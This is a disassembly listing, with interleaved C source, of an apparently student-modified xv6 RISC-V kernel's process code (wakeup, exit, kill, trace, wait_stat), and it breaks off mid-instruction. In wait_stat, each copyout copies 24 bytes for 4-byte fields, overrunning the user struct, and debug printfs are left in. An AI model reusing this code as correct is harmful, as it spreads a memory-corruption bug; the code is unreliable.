8000235c: f44e sd s3,40(sp) 8000235e: f052 sd s4,32(sp) 80002360: ec56 sd s5,24(sp) 80002362: e85a sd s6,16(sp) 80002364: e45e sd s7,8(sp) 80002366: 0880 addi s0,sp,80 80002368: 8a2a mv s4,a0 struct proc *p; for(p = proc; p < &proc[NPROC]; p++) { 8000236a: 0000f497 auipc s1,0xf 8000236e: 37e48493 addi s1,s1,894 # 800116e8 <proc> if(p != myproc()){ acquire(&p->lock); if(p->state == SLEEPING && p->chan == chan) { 80002372: 4989 li s3,2 p->state = RUNNABLE; 80002374: 4b8d li s7,3 acquire(&queue_lock); 80002376: 0000fb17 auipc s6,0xf 8000237a: f5ab0b13 addi s6,s6,-166 # 800112d0 <queue_lock> p->queue_location = queue_counter; 8000237e: 00006a97 auipc s5,0x6 80002382: 6c6a8a93 addi s5,s5,1734 # 80008a44 <queue_counter> for(p = proc; p < &proc[NPROC]; p++) { 80002386: 00015917 auipc s2,0x15 8000238a: 56290913 addi s2,s2,1378 # 800178e8 <tickslock> 8000238e: a811 j 800023a2 <wakeup+0x50> queue_counter++; release(&queue_lock); } release(&p->lock); 80002390: 8526 mv a0,s1 80002392: fffff097 auipc ra,0xfffff 80002396: 8e4080e7 jalr -1820(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++) { 8000239a: 18848493 addi s1,s1,392 8000239e: 05248663 beq s1,s2,800023ea <wakeup+0x98> if(p != myproc()){ 800023a2: fffff097 auipc ra,0xfffff 800023a6: 5f4080e7 jalr 1524(ra) # 80001996 <myproc> 800023aa: fea488e3 beq s1,a0,8000239a <wakeup+0x48> acquire(&p->lock); 800023ae: 8526 mv a0,s1 800023b0: fffff097 auipc ra,0xfffff 800023b4: 812080e7 jalr -2030(ra) # 80000bc2 <acquire> if(p->state == SLEEPING && p->chan == chan) { 800023b8: 4c9c lw a5,24(s1) 800023ba: fd379be3 bne a5,s3,80002390 <wakeup+0x3e> 800023be: 709c ld a5,32(s1) 800023c0: fd4798e3 bne a5,s4,80002390 <wakeup+0x3e> p->state = RUNNABLE; 800023c4: 0174ac23 sw s7,24(s1) acquire(&queue_lock); 800023c8: 855a mv a0,s6 800023ca: ffffe097 auipc ra,0xffffe 800023ce: 7f8080e7 jalr 2040(ra) # 80000bc2 <acquire> p->queue_location = queue_counter; 800023d2: 000aa783 lw a5,0(s5) 800023d6: c8bc sw a5,80(s1) queue_counter++; 800023d8: 2785 addiw a5,a5,1 800023da: 00faa023 sw a5,0(s5) release(&queue_lock); 800023de: 855a mv a0,s6 800023e0: fffff097 auipc ra,0xfffff 800023e4: 896080e7 jalr -1898(ra) # 80000c76 <release> 800023e8: b765 j 80002390 <wakeup+0x3e> } } } 800023ea: 60a6 ld ra,72(sp) 800023ec: 6406 ld s0,64(sp) 800023ee: 74e2 ld s1,56(sp) 800023f0: 7942 ld s2,48(sp) 800023f2: 79a2 ld s3,40(sp) 800023f4: 7a02 ld s4,32(sp) 800023f6: 6ae2 ld s5,24(sp) 800023f8: 6b42 ld s6,16(sp) 800023fa: 6ba2 ld s7,8(sp) 800023fc: 6161 addi sp,sp,80 800023fe: 8082 ret 0000000080002400 <reparent>: { 80002400: 7179 addi sp,sp,-48 80002402: f406 sd ra,40(sp) 80002404: f022 sd s0,32(sp) 80002406: ec26 sd s1,24(sp) 80002408: e84a sd s2,16(sp) 8000240a: e44e sd s3,8(sp) 8000240c: e052 sd s4,0(sp) 8000240e: 1800 addi s0,sp,48 80002410: 892a mv s2,a0 for(pp = proc; pp < &proc[NPROC]; pp++){ 80002412: 0000f497 auipc s1,0xf 80002416: 2d648493 addi s1,s1,726 # 800116e8 <proc> pp->parent = initproc; 8000241a: 00007a17 auipc s4,0x7 8000241e: c0ea0a13 addi s4,s4,-1010 # 80009028 <initproc> for(pp = proc; pp < &proc[NPROC]; pp++){ 80002422: 00015997 auipc s3,0x15 80002426: 4c698993 addi s3,s3,1222 # 800178e8 <tickslock> 8000242a: a029 j 80002434 <reparent+0x34> 8000242c: 18848493 addi s1,s1,392 80002430: 01348d63 beq s1,s3,8000244a <reparent+0x4a> if(pp->parent == p){ 80002434: 6cbc ld a5,88(s1) 80002436: ff279be3 bne a5,s2,8000242c <reparent+0x2c> pp->parent = initproc; 8000243a: 000a3503 ld a0,0(s4) 8000243e: eca8 sd a0,88(s1) wakeup(initproc); 80002440: 00000097 auipc ra,0x0 80002444: f12080e7 jalr -238(ra) # 80002352 <wakeup> 80002448: b7d5 j 8000242c <reparent+0x2c> } 8000244a: 70a2 ld ra,40(sp) 8000244c: 7402 ld s0,32(sp) 8000244e: 64e2 ld s1,24(sp) 80002450: 6942 ld s2,16(sp) 80002452: 69a2 ld s3,8(sp) 80002454: 6a02 ld s4,0(sp) 80002456: 6145 addi sp,sp,48 80002458: 8082 ret 000000008000245a <exit>: { 8000245a: 7179 addi sp,sp,-48 8000245c: f406 sd ra,40(sp) 8000245e: f022 sd s0,32(sp) 80002460: ec26 sd s1,24(sp) 80002462: e84a sd s2,16(sp) 80002464: e44e sd s3,8(sp) 80002466: e052 sd s4,0(sp) 80002468: 1800 addi s0,sp,48 8000246a: 8a2a mv s4,a0 struct proc *p = myproc(); 8000246c: fffff097 auipc ra,0xfffff 80002470: 52a080e7 jalr 1322(ra) # 80001996 <myproc> 80002474: 89aa mv s3,a0 if(p == initproc) 80002476: 00007797 auipc a5,0x7 8000247a: bb27b783 ld a5,-1102(a5) # 80009028 <initproc> 8000247e: 0f050493 addi s1,a0,240 80002482: 17050913 addi s2,a0,368 80002486: 02a79363 bne a5,a0,800024ac <exit+0x52> panic("init exiting"); 8000248a: 00006517 auipc a0,0x6 8000248e: dd650513 addi a0,a0,-554 # 80008260 <digits+0x220> 80002492: ffffe097 auipc ra,0xffffe 80002496: 098080e7 jalr 152(ra) # 8000052a <panic> fileclose(f); 8000249a: 00002097 auipc ra,0x2 8000249e: 6bc080e7 jalr 1724(ra) # 80004b56 <fileclose> p->ofile[fd] = 0; 800024a2: 0004b023 sd zero,0(s1) for(int fd = 0; fd < NOFILE; fd++){ 800024a6: 04a1 addi s1,s1,8 800024a8: 01248563 beq s1,s2,800024b2 <exit+0x58> if(p->ofile[fd]){ 800024ac: 6088 ld a0,0(s1) 800024ae: f575 bnez a0,8000249a <exit+0x40> 800024b0: bfdd j 800024a6 <exit+0x4c> begin_op(); 800024b2: 00002097 auipc ra,0x2 800024b6: 1d8080e7 jalr 472(ra) # 8000468a <begin_op> iput(p->cwd); 800024ba: 1709b503 ld a0,368(s3) 800024be: 00002097 auipc ra,0x2 800024c2: 9b0080e7 jalr -1616(ra) # 80003e6e <iput> end_op(); 800024c6: 00002097 auipc ra,0x2 800024ca: 244080e7 jalr 580(ra) # 8000470a <end_op> p->cwd = 0; 800024ce: 1609b823 sd zero,368(s3) acquire(&wait_lock); 800024d2: 0000f497 auipc s1,0xf 800024d6: de648493 addi s1,s1,-538 # 800112b8 <wait_lock> 800024da: 8526 mv a0,s1 800024dc: ffffe097 auipc ra,0xffffe 800024e0: 6e6080e7 jalr 1766(ra) # 80000bc2 <acquire> reparent(p); 800024e4: 854e mv a0,s3 800024e6: 00000097 auipc ra,0x0 800024ea: f1a080e7 jalr -230(ra) # 80002400 <reparent> wakeup(p->parent); 800024ee: 0589b503 ld a0,88(s3) 800024f2: 00000097 auipc ra,0x0 800024f6: e60080e7 jalr -416(ra) # 80002352 <wakeup> acquire(&p->lock); 800024fa: 854e mv a0,s3 800024fc: ffffe097 auipc ra,0xffffe 80002500: 6c6080e7 jalr 1734(ra) # 80000bc2 <acquire> p->xstate = status; 80002504: 0349a623 sw s4,44(s3) p->state = ZOMBIE; 80002508: 4795 li a5,5 8000250a: 00f9ac23 sw a5,24(s3) p->ttime = ticks; 8000250e: 00007797 auipc a5,0x7 80002512: b227a783 lw a5,-1246(a5) # 80009030 <ticks> 80002516: 02f9ae23 sw a5,60(s3) release(&wait_lock); 8000251a: 8526 mv a0,s1 8000251c: ffffe097 auipc ra,0xffffe 80002520: 75a080e7 jalr 1882(ra) # 80000c76 <release> sched(); 80002524: 00000097 auipc ra,0x0 80002528: b60080e7 jalr -1184(ra) # 80002084 <sched> panic("zombie exit"); 8000252c: 00006517 auipc a0,0x6 80002530: d4450513 addi a0,a0,-700 # 80008270 <digits+0x230> 80002534: ffffe097 auipc ra,0xffffe 80002538: ff6080e7 jalr -10(ra) # 8000052a <panic> 000000008000253c <kill>: // Kill the process with the given pid. // The victim won't exit until it tries to return // to user space (see usertrap() in trap.c). int kill(int pid) { 8000253c: 7179 addi sp,sp,-48 8000253e: f406 sd ra,40(sp) 80002540: f022 sd s0,32(sp) 80002542: ec26 sd s1,24(sp) 80002544: e84a sd s2,16(sp) 80002546: e44e sd s3,8(sp) 80002548: 1800 addi s0,sp,48 8000254a: 892a mv s2,a0 struct proc *p; for(p = proc; p < &proc[NPROC]; p++){ 8000254c: 0000f497 auipc s1,0xf 80002550: 19c48493 addi s1,s1,412 # 800116e8 <proc> 80002554: 00015997 auipc s3,0x15 80002558: 39498993 addi s3,s3,916 # 800178e8 <tickslock> acquire(&p->lock); 8000255c: 8526 mv a0,s1 8000255e: ffffe097 auipc ra,0xffffe 80002562: 664080e7 jalr 1636(ra) # 80000bc2 <acquire> if(p->pid == pid){ 80002566: 589c lw a5,48(s1) 80002568: 01278d63 beq a5,s2,80002582 <kill+0x46> release(&queue_lock); } release(&p->lock); return 0; } release(&p->lock); 8000256c: 8526 mv a0,s1 8000256e: ffffe097 auipc ra,0xffffe 80002572: 708080e7 jalr 1800(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++){ 80002576: 18848493 addi s1,s1,392 8000257a: ff3491e3 bne s1,s3,8000255c <kill+0x20> } return -1; 8000257e: 557d li a0,-1 80002580: a829 j 8000259a <kill+0x5e> p->killed = 1; 80002582: 4785 li a5,1 80002584: d49c sw a5,40(s1) if(p->state == SLEEPING){ 80002586: 4c98 lw a4,24(s1) 80002588: 4789 li a5,2 8000258a: 00f70f63 beq a4,a5,800025a8 <kill+0x6c> release(&p->lock); 8000258e: 8526 mv a0,s1 80002590: ffffe097 auipc ra,0xffffe 80002594: 6e6080e7 jalr 1766(ra) # 80000c76 <release> return 0; 80002598: 4501 li a0,0 } 8000259a: 70a2 ld ra,40(sp) 8000259c: 7402 ld s0,32(sp) 8000259e: 64e2 ld s1,24(sp) 800025a0: 6942 ld s2,16(sp) 800025a2: 69a2 ld s3,8(sp) 800025a4: 6145 addi sp,sp,48 800025a6: 8082 ret p->state = RUNNABLE; 800025a8: 478d li a5,3 800025aa: cc9c sw a5,24(s1) acquire(&queue_lock); 800025ac: 0000f917 auipc s2,0xf 800025b0: d2490913 addi s2,s2,-732 # 800112d0 <queue_lock> 800025b4: 854a mv a0,s2 800025b6: ffffe097 auipc ra,0xffffe 800025ba: 60c080e7 jalr 1548(ra) # 80000bc2 <acquire> p->queue_location = queue_counter; 800025be: 00006717 auipc a4,0x6 800025c2: 48670713 addi a4,a4,1158 # 80008a44 <queue_counter> 800025c6: 431c lw a5,0(a4) 800025c8: c8bc sw a5,80(s1) queue_counter++; 800025ca: 2785 addiw a5,a5,1 800025cc: c31c sw a5,0(a4) release(&queue_lock); 800025ce: 854a mv a0,s2 800025d0: ffffe097 auipc ra,0xffffe 800025d4: 6a6080e7 jalr 1702(ra) # 80000c76 <release> 800025d8: bf5d j 8000258e <kill+0x52> 00000000800025da <either_copyout>: // Copy to either a user address, or kernel address, // depending on usr_dst. // Returns 0 on success, -1 on error. int either_copyout(int user_dst, uint64 dst, void *src, uint64 len) { 800025da: 7179 addi sp,sp,-48 800025dc: f406 sd ra,40(sp) 800025de: f022 sd s0,32(sp) 800025e0: ec26 sd s1,24(sp) 800025e2: e84a sd s2,16(sp) 800025e4: e44e sd s3,8(sp) 800025e6: e052 sd s4,0(sp) 800025e8: 1800 addi s0,sp,48 800025ea: 84aa mv s1,a0 800025ec: 892e mv s2,a1 800025ee: 89b2 mv s3,a2 800025f0: 8a36 mv s4,a3 struct proc *p = myproc(); 800025f2: fffff097 auipc ra,0xfffff 800025f6: 3a4080e7 jalr 932(ra) # 80001996 <myproc> if(user_dst){ 800025fa: c08d beqz s1,8000261c <either_copyout+0x42> return copyout(p->pagetable, dst, src, len); 800025fc: 86d2 mv a3,s4 800025fe: 864e mv a2,s3 80002600: 85ca mv a1,s2 80002602: 7928 ld a0,112(a0) 80002604: fffff097 auipc ra,0xfffff 80002608: 03a080e7 jalr 58(ra) # 8000163e <copyout> } else { memmove((char *)dst, src, len); return 0; } } 8000260c: 70a2 ld ra,40(sp) 8000260e: 7402 ld s0,32(sp) 80002610: 64e2 ld s1,24(sp) 80002612: 6942 ld s2,16(sp) 80002614: 69a2 ld s3,8(sp) 80002616: 6a02 ld s4,0(sp) 80002618: 6145 addi sp,sp,48 8000261a: 8082 ret memmove((char *)dst, src, len); 8000261c: 000a061b sext.w a2,s4 80002620: 85ce mv a1,s3 80002622: 854a mv a0,s2 80002624: ffffe097 auipc ra,0xffffe 80002628: 6f6080e7 jalr 1782(ra) # 80000d1a <memmove> return 0; 8000262c: 8526 mv a0,s1 8000262e: bff9 j 8000260c <either_copyout+0x32> 0000000080002630 <either_copyin>: // Copy from either a user address, or kernel address, // depending on usr_src. // Returns 0 on success, -1 on error. int either_copyin(void *dst, int user_src, uint64 src, uint64 len) { 80002630: 7179 addi sp,sp,-48 80002632: f406 sd ra,40(sp) 80002634: f022 sd s0,32(sp) 80002636: ec26 sd s1,24(sp) 80002638: e84a sd s2,16(sp) 8000263a: e44e sd s3,8(sp) 8000263c: e052 sd s4,0(sp) 8000263e: 1800 addi s0,sp,48 80002640: 892a mv s2,a0 80002642: 84ae mv s1,a1 80002644: 89b2 mv s3,a2 80002646: 8a36 mv s4,a3 struct proc *p = myproc(); 80002648: fffff097 auipc ra,0xfffff 8000264c: 34e080e7 jalr 846(ra) # 80001996 <myproc> if(user_src){ 80002650: c08d beqz s1,80002672 <either_copyin+0x42> return copyin(p->pagetable, dst, src, len); 80002652: 86d2 mv a3,s4 80002654: 864e mv a2,s3 80002656: 85ca mv a1,s2 80002658: 7928 ld a0,112(a0) 8000265a: fffff097 auipc ra,0xfffff 8000265e: 070080e7 jalr 112(ra) # 800016ca <copyin> } else { memmove(dst, (char*)src, len); return 0; } } 80002662: 70a2 ld ra,40(sp) 80002664: 7402 ld s0,32(sp) 80002666: 64e2 ld s1,24(sp) 80002668: 6942 ld s2,16(sp) 8000266a: 69a2 ld s3,8(sp) 8000266c: 6a02 ld s4,0(sp) 8000266e: 6145 addi sp,sp,48 80002670: 8082 ret memmove(dst, (char*)src, len); 80002672: 000a061b sext.w a2,s4 80002676: 85ce mv a1,s3 80002678: 854a mv a0,s2 8000267a: ffffe097 auipc ra,0xffffe 8000267e: 6a0080e7 jalr 1696(ra) # 80000d1a <memmove> return 0; 80002682: 8526 mv a0,s1 80002684: bff9 j 80002662 <either_copyin+0x32> 0000000080002686 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80002686: 715d addi sp,sp,-80 80002688: e486 sd ra,72(sp) 8000268a: e0a2 sd s0,64(sp) 8000268c: fc26 sd s1,56(sp) 8000268e: f84a sd s2,48(sp) 80002690: f44e sd s3,40(sp) 80002692: f052 sd s4,32(sp) 80002694: ec56 sd s5,24(sp) 80002696: e85a sd s6,16(sp) 80002698: e45e sd s7,8(sp) 8000269a: 0880 addi s0,sp,80 [ZOMBIE] "zombie" }; struct proc *p; char *state; printf("\n"); 8000269c: 00006517 auipc a0,0x6 800026a0: a2c50513 addi a0,a0,-1492 # 800080c8 <digits+0x88> 800026a4: ffffe097 auipc ra,0xffffe 800026a8: ed0080e7 jalr -304(ra) # 80000574 <printf> for(p = proc; p < &proc[NPROC]; p++){ 800026ac: 0000f497 auipc s1,0xf 800026b0: 1b448493 addi s1,s1,436 # 80011860 <proc+0x178> 800026b4: 00015917 auipc s2,0x15 800026b8: 3ac90913 addi s2,s2,940 # 80017a60 <bcache+0x160> if(p->state == UNUSED) continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 800026bc: 4b15 li s6,5 state = states[p->state]; else state = "???"; 800026be: 00006997 auipc s3,0x6 800026c2: bc298993 addi s3,s3,-1086 # 80008280 <digits+0x240> printf("%d %s %s", p->pid, state, p->name); 800026c6: 00006a97 auipc s5,0x6 800026ca: bc2a8a93 addi s5,s5,-1086 # 80008288 <digits+0x248> printf("\n"); 800026ce: 00006a17 auipc s4,0x6 800026d2: 9faa0a13 addi s4,s4,-1542 # 800080c8 <digits+0x88> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 800026d6: 00006b97 auipc s7,0x6 800026da: ceab8b93 addi s7,s7,-790 # 800083c0 <states.0> 800026de: a00d j 80002700 <procdump+0x7a> printf("%d %s %s", p->pid, state, p->name); 800026e0: eb86a583 lw a1,-328(a3) 800026e4: 8556 mv a0,s5 800026e6: ffffe097 auipc ra,0xffffe 800026ea: e8e080e7 jalr -370(ra) # 80000574 <printf> printf("\n"); 800026ee: 8552 mv a0,s4 800026f0: ffffe097 auipc ra,0xffffe 800026f4: e84080e7 jalr -380(ra) # 80000574 <printf> for(p = proc; p < &proc[NPROC]; p++){ 800026f8: 18848493 addi s1,s1,392 800026fc: 03248263 beq s1,s2,80002720 <procdump+0x9a> if(p->state == UNUSED) 80002700: 86a6 mv a3,s1 80002702: ea04a783 lw a5,-352(s1) 80002706: dbed beqz a5,800026f8 <procdump+0x72> state = "???"; 80002708: 864e mv a2,s3 if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8000270a: fcfb6be3 bltu s6,a5,800026e0 <procdump+0x5a> 8000270e: 02079713 slli a4,a5,0x20 80002712: 01d75793 srli a5,a4,0x1d 80002716: 97de add a5,a5,s7 80002718: 6390 ld a2,0(a5) 8000271a: f279 bnez a2,800026e0 <procdump+0x5a> state = "???"; 8000271c: 864e mv a2,s3 8000271e: b7c9 j 800026e0 <procdump+0x5a> } } 80002720: 60a6 ld ra,72(sp) 80002722: 6406 ld s0,64(sp) 80002724: 74e2 ld s1,56(sp) 80002726: 7942 ld s2,48(sp) 80002728: 79a2 ld s3,40(sp) 8000272a: 7a02 ld s4,32(sp) 8000272c: 6ae2 ld s5,24(sp) 8000272e: 6b42 ld s6,16(sp) 80002730: 6ba2 ld s7,8(sp) 80002732: 6161 addi sp,sp,80 80002734: 8082 ret 0000000080002736 <trace>: //modified int trace (int mask, int pid) { 80002736: 7179 addi sp,sp,-48 80002738: f406 sd ra,40(sp) 8000273a: f022 sd s0,32(sp) 8000273c: ec26 sd s1,24(sp) 8000273e: e84a sd s2,16(sp) 80002740: e44e sd s3,8(sp) 80002742: e052 sd s4,0(sp) 80002744: 1800 addi s0,sp,48 80002746: 8a2a mv s4,a0 80002748: 892e mv s2,a1 struct proc *p; for(p = proc; p < &proc[NPROC]; p++){ 8000274a: 0000f497 auipc s1,0xf 8000274e: f9e48493 addi s1,s1,-98 # 800116e8 <proc> 80002752: 00015997 auipc s3,0x15 80002756: 19698993 addi s3,s3,406 # 800178e8 <tickslock> acquire(&p->lock); 8000275a: 8526 mv a0,s1 8000275c: ffffe097 auipc ra,0xffffe 80002760: 466080e7 jalr 1126(ra) # 80000bc2 <acquire> if(p->pid == pid){ 80002764: 589c lw a5,48(s1) 80002766: 01278d63 beq a5,s2,80002780 <trace+0x4a> p->maskid = mask; release(&p->lock); return 0; } release(&p->lock); 8000276a: 8526 mv a0,s1 8000276c: ffffe097 auipc ra,0xffffe 80002770: 50a080e7 jalr 1290(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++){ 80002774: 18848493 addi s1,s1,392 80002778: ff3491e3 bne s1,s3,8000275a <trace+0x24> } return -1; 8000277c: 557d li a0,-1 8000277e: a809 j 80002790 <trace+0x5a> p->maskid = mask; 80002780: 0344aa23 sw s4,52(s1) release(&p->lock); 80002784: 8526 mv a0,s1 80002786: ffffe097 auipc ra,0xffffe 8000278a: 4f0080e7 jalr 1264(ra) # 80000c76 <release> return 0; 8000278e: 4501 li a0,0 } 80002790: 70a2 ld ra,40(sp) 80002792: 7402 ld s0,32(sp) 80002794: 64e2 ld s1,24(sp) 80002796: 6942 ld s2,16(sp) 80002798: 69a2 ld s3,8(sp) 8000279a: 6a02 ld s4,0(sp) 8000279c: 6145 addi sp,sp,48 8000279e: 8082 ret 00000000800027a0 <wait_stat>: int wait_stat(int* status, struct perf * performance) { 800027a0: 711d addi sp,sp,-96 800027a2: ec86 sd ra,88(sp) 800027a4: e8a2 sd s0,80(sp) 800027a6: e4a6 sd s1,72(sp) 800027a8: e0ca sd s2,64(sp) 800027aa: fc4e sd s3,56(sp) 800027ac: f852 sd s4,48(sp) 800027ae: f456 sd s5,40(sp) 800027b0: f05a sd s6,32(sp) 800027b2: ec5e sd s7,24(sp) 800027b4: e862 sd s8,16(sp) 800027b6: e466 sd s9,8(sp) 800027b8: 1080 addi s0,sp,96 800027ba: 8baa mv s7,a0 800027bc: 8b2e mv s6,a1 struct proc *np; int havekids, pid; struct proc *p = myproc(); 800027be: fffff097 auipc ra,0xfffff 800027c2: 1d8080e7 jalr 472(ra) # 80001996 <myproc> 800027c6: 892a mv s2,a0 acquire(&wait_lock); 800027c8: 0000f517 auipc a0,0xf 800027cc: af050513 addi a0,a0,-1296 # 800112b8 <wait_lock> 800027d0: ffffe097 auipc ra,0xffffe 800027d4: 3f2080e7 jalr 1010(ra) # 80000bc2 <acquire> for(;;){ // Scan through table looking for exited children. havekids = 0; 800027d8: 4c01 li s8,0 // make sure the child isn't still in exit() or swtch(). acquire(&np->lock); havekids = 1; if(np->state == ZOMBIE){ 800027da: 4a15 li s4,5 havekids = 1; 800027dc: 4a85 li s5,1 for(np = proc; np < &proc[NPROC]; np++){ 800027de: 00015997 auipc s3,0x15 800027e2: 10a98993 addi s3,s3,266 # 800178e8 <tickslock> release(&wait_lock); return -1; } // Wait for a child to exit. sleep(p, &wait_lock); //DOC: wait-sleep 800027e6: 0000fc97 auipc s9,0xf 800027ea: ad2c8c93 addi s9,s9,-1326 # 800112b8 <wait_lock> havekids = 0; 800027ee: 8762 mv a4,s8 for(np = proc; np < &proc[NPROC]; np++){ 800027f0: 0000f497 auipc s1,0xf 800027f4: ef848493 addi s1,s1,-264 # 800116e8 <proc> 800027f8: ac35 j 80002a34 <wait_stat+0x294> printf("\nIts got to proc.c line 1"); 800027fa: 00006517 auipc a0,0x6 800027fe: a9e50513 addi a0,a0,-1378 # 80008298 <digits+0x258> 80002802: ffffe097 auipc ra,0xffffe 80002806: d72080e7 jalr -654(ra) # 80000574 <printf> pid = np->pid; 8000280a: 0304a983 lw s3,48(s1) if (copyout(p->pagetable, ((uint64)&(performance->ctime)) , (char *)&np->ctime, 24) < 0){ 8000280e: 46e1 li a3,24 80002810: 03848613 addi a2,s1,56 80002814: 85da mv a1,s6 80002816: 07093503 ld a0,112(s2) 8000281a: fffff097 auipc ra,0xfffff 8000281e: e24080e7 jalr -476(ra) # 8000163e <copyout> 80002822: 0c054463 bltz a0,800028ea <wait_stat+0x14a> else if (copyout(p->pagetable, ((uint64)&(performance->ttime)) , (char *)&np->ttime, 24) < 0){ 80002826: 46e1 li a3,24 80002828: 03c48613 addi a2,s1,60 8000282c: 004b0593 addi a1,s6,4 80002830: 07093503 ld a0,112(s2) 80002834: fffff097 auipc ra,0xfffff 80002838: e0a080e7 jalr -502(ra) # 8000163e <copyout> 8000283c: 0c054e63 bltz a0,80002918 <wait_stat+0x178> else if (copyout(p->pagetable, ((uint64)&(performance->stime)) , (char *)&np->stime, 24) < 0){ 80002840: 46e1 li a3,24 80002842: 04048613 addi a2,s1,64 80002846: 008b0593 addi a1,s6,8 8000284a: 07093503 ld a0,112(s2) 8000284e: fffff097 auipc ra,0xfffff 80002852: df0080e7 jalr -528(ra) # 8000163e <copyout> 80002856: 0e054863 bltz a0,80002946 <wait_stat+0x1a6> else if (copyout(p->pagetable, ((uint64)&(performance->retime)) , (char *)&np->retime, 24) < 0){ 8000285a: 46e1 li a3,24 8000285c: 04448613 addi a2,s1,68 80002860: 00cb0593 addi a1,s6,12 80002864: 07093503 ld a0,112(s2) 80002868: fffff097 auipc ra,0xfffff 8000286c: dd6080e7 jalr -554(ra) # 8000163e <copyout> 80002870: 10054263 bltz a0,80002974 <wait_stat+0x1d4> else if (copyout(p->pagetable, ((uint64)&(performance->rutime)) , (char *)&np->rutime, 24) < 0){ 80002874: 46e1 li a3,24 80002876: 04848613 addi a2,s1,72 8000287a: 010b0593 addi a1,s6,16 8000287e: 07093503 ld a0,112(s2) 80002882: fffff097 auipc ra,0xfffff 80002886: dbc080e7 jalr -580(ra) # 8000163e <copyout> 8000288a: 10054c63 bltz a0,800029a2 <wait_stat+0x202> else if (copyout(p->pagetable, ((uint64)&(performance->average_bursttime)) , (char *)&np->average_bursttime, 24) < 0){ 8000288e: 46e1 li a3,24 80002890: 04c48613 addi a2,s1,76 80002894: 014b0593 addi a1,s6,20 80002898: 07093503 ld a0,112(s2) 8000289c: fffff097 auipc ra,0xfffff 800028a0: da2080e7 jalr -606(ra) # 8000163e <copyout> 800028a4: 12054663 bltz a0,800029d0 <wait_stat+0x230> else if(((uint64)status) != 0 && copyout(p->pagetable, ((uint64)status) , (char *)&np->xstate, 800028a8: 000b8e63 beqz s7,800028c4 <wait_stat+0x124> 800028ac: 4691 li a3,4 800028ae: 02c48613 addi a2,s1,44 800028b2: 85de mv a1,s7 800028b4: 07093503 ld a0,112(s2) 800028b8: fffff097 auipc ra,0xfffff 800028bc: d86080e7 jalr -634(ra) # 8000163e <copyout> 800028c0: 12054f63 bltz a0,800029fe <wait_stat+0x25e> freeproc(np); 800028c4: 8526 mv a0,s1 800028c6: fffff097 auipc ra,0xfffff 800028ca: 282080e7 jalr 642(ra) # 80001b48 <freeproc> release(&np->lock); 800028ce: 8526 mv a0,s1 800028d0: ffffe097 auipc ra,0xffffe 800028d4: 3a6080e7 jalr 934(ra) # 80000c76 <release> release(&wait_lock); 800028d8: 0000f517 auipc a0,0xf 800028dc: 9e050513 addi a0,a0,-1568 # 800112b8 <wait_lock> 800028e0: ffffe097 auipc ra,0xffffe 800028e4: 396080e7 jalr 918(ra) # 80000c76 <release> return pid; 800028e8: a269 j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 2"); 800028ea: 00006517 auipc a0,0x6 800028ee: 9ce50513 addi a0,a0,-1586 # 800082b8 <digits+0x278> 800028f2: ffffe097 auipc ra,0xffffe 800028f6: c82080e7 jalr -894(ra) # 80000574 <printf> release(&np->lock); 800028fa: 8526 mv a0,s1 800028fc: ffffe097 auipc ra,0xffffe 80002900: 37a080e7 jalr 890(ra) # 80000c76 <release> release(&wait_lock); 80002904: 0000f517 auipc a0,0xf 80002908: 9b450513 addi a0,a0,-1612 # 800112b8 <wait_lock> 8000290c: ffffe097 auipc ra,0xffffe 80002910: 36a080e7 jalr 874(ra) # 80000c76 <release> return -1; 80002914: 59fd li s3,-1 80002916: aab1 j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 3"); 80002918: 00006517 auipc a0,0x6 8000291c: 9c050513 addi a0,a0,-1600 # 800082d8 <digits+0x298> 80002920: ffffe097 auipc ra,0xffffe 80002924: c54080e7 jalr -940(ra) # 80000574 <printf> release(&np->lock); 80002928: 8526 mv a0,s1 8000292a: ffffe097 auipc ra,0xffffe 8000292e: 34c080e7 jalr 844(ra) # 80000c76 <release> release(&wait_lock); 80002932: 0000f517 auipc a0,0xf 80002936: 98650513 addi a0,a0,-1658 # 800112b8 <wait_lock> 8000293a: ffffe097 auipc ra,0xffffe 8000293e: 33c080e7 jalr 828(ra) # 80000c76 <release> return -1; 80002942: 59fd li s3,-1 80002944: a23d j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 4"); 80002946: 00006517 auipc a0,0x6 8000294a: 9b250513 addi a0,a0,-1614 # 800082f8 <digits+0x2b8> 8000294e: ffffe097 auipc ra,0xffffe 80002952: c26080e7 jalr -986(ra) # 80000574 <printf> release(&np->lock); 80002956: 8526 mv a0,s1 80002958: ffffe097 auipc ra,0xffffe 8000295c: 31e080e7 jalr 798(ra) # 80000c76 <release> release(&wait_lock); 80002960: 0000f517 auipc a0,0xf 80002964: 95850513 addi a0,a0,-1704 # 800112b8 <wait_lock> 80002968: ffffe097 auipc ra,0xffffe 8000296c: 30e080e7 jalr 782(ra) # 80000c76 <release> return -1; 80002970: 59fd li s3,-1 80002972: a201 j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 5"); 80002974: 00006517 auipc a0,0x6 80002978: 9a450513 addi a0,a0,-1628 # 80008318 <digits+0x2d8> 8000297c: ffffe097 auipc ra,0xffffe 80002980: bf8080e7 jalr -1032(ra) # 80000574 <printf> release(&np->lock); 80002984: 8526 mv a0,s1 80002986: ffffe097 auipc ra,0xffffe 8000298a: 2f0080e7 jalr 752(ra) # 80000c76 <release> release(&wait_lock); 8000298e: 0000f517 auipc a0,0xf 80002992: 92a50513 addi a0,a0,-1750 # 800112b8 <wait_lock> 80002996: ffffe097 auipc ra,0xffffe 8000299a: 2e0080e7 jalr 736(ra) # 80000c76 <release> return -1; 8000299e: 59fd li s3,-1 800029a0: a8c9 j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 6"); 800029a2: 00006517 auipc a0,0x6 800029a6: 99650513 addi a0,a0,-1642 # 80008338 <digits+0x2f8> 800029aa: ffffe097 auipc ra,0xffffe 800029ae: bca080e7 jalr -1078(ra) # 80000574 <printf> release(&np->lock); 800029b2: 8526 mv a0,s1 800029b4: ffffe097 auipc ra,0xffffe 800029b8: 